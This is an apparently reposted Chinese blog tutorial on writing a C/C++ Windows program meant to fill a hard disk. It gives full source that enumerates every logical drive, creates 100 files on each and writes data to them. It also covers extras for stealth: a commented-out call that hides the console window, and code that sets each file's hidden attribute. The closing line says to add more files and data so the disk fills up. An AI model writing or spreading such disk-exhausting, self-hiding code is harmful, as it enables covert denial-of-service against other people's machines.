C/C++轻松写可塞满硬盘的程序
生活随笔
收集整理的這篇文章主要介紹了
C/C++轻松写可塞满硬盘的程序
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
關于寫可塞滿硬盤的程序
我們先想想思路:
第一步:獲取邏輯盤符
第二步:創建文件
第三步:文件寫入數據
擴展要求:
一:隱藏窗口
二:文件設置為隱藏屬性
下面我們對上述的思路介紹一個API,接受完后給出源代碼
GetLogicalDriveStrings function
Fills a buffer with strings that specify valid drives in the system.DWORD WINAPI GetLogicalDriveStrings(_In_ DWORD nBufferLength,_Out_ LPTSTR lpBuffer );
此函數是把系統里面可用的磁盤讀取到lpBuffer里面
成功則返回獲取的總長度,
失敗有兩個情況一個是buffer不夠長,一個是其他問題
關于其他的API函數,都比較簡單,有些可以從命名意思就知道功能,在此不在介紹,源碼中也有注釋,
下面看源代碼
#include <Windows.h>int main() {//FreeConsole(); //隱藏控制臺char strDriveStrings[MAXBYTE] = { 0 };//獲取邏輯地址DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);for (size_t i = 0; i < dwDriveStrLen; i += 4) //每4個字節表示一個盤符 {char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };strncpy_s(strRoot,&strDriveStrings[i], 4);strcpy_s(strTargetPath, strRoot);//創建100個文件for (int j = 0; j < 100; j++){char TempStrTargetPath[MAX_PATH];strcpy_s(TempStrTargetPath, strTargetPath);char FileName[MAXBYTE];char Date[MAXBYTE] = "11111";wsprintf(FileName, "%d.txt", j);strcat_s(TempStrTargetPath, FileName);//創建文件HANDLE hFile;hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE)continue;DWORD Pointer;//寫入數據WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL);CloseHandle(hFile);//將s所指向的某一塊內存中的前n個 字節的內容全部設置為ch指定的ASCII值memset(FileName, 0, sizeof(FileName));//設置為隱藏SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN);}}return 0; } 把文件瀏覽屬性設置好:運行結果如下:
如果出現以下問題:
修改字符集如下:
所以大家只要多搞幾個文件,多搞點數據,硬盤就會被塞滿
總結
以上是生活随笔為你收集整理的C/C++轻松写可塞满硬盘的程序的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ajax视频播放,XMLHttpRequ
- 下一篇: Qt creator5.7 OpenCV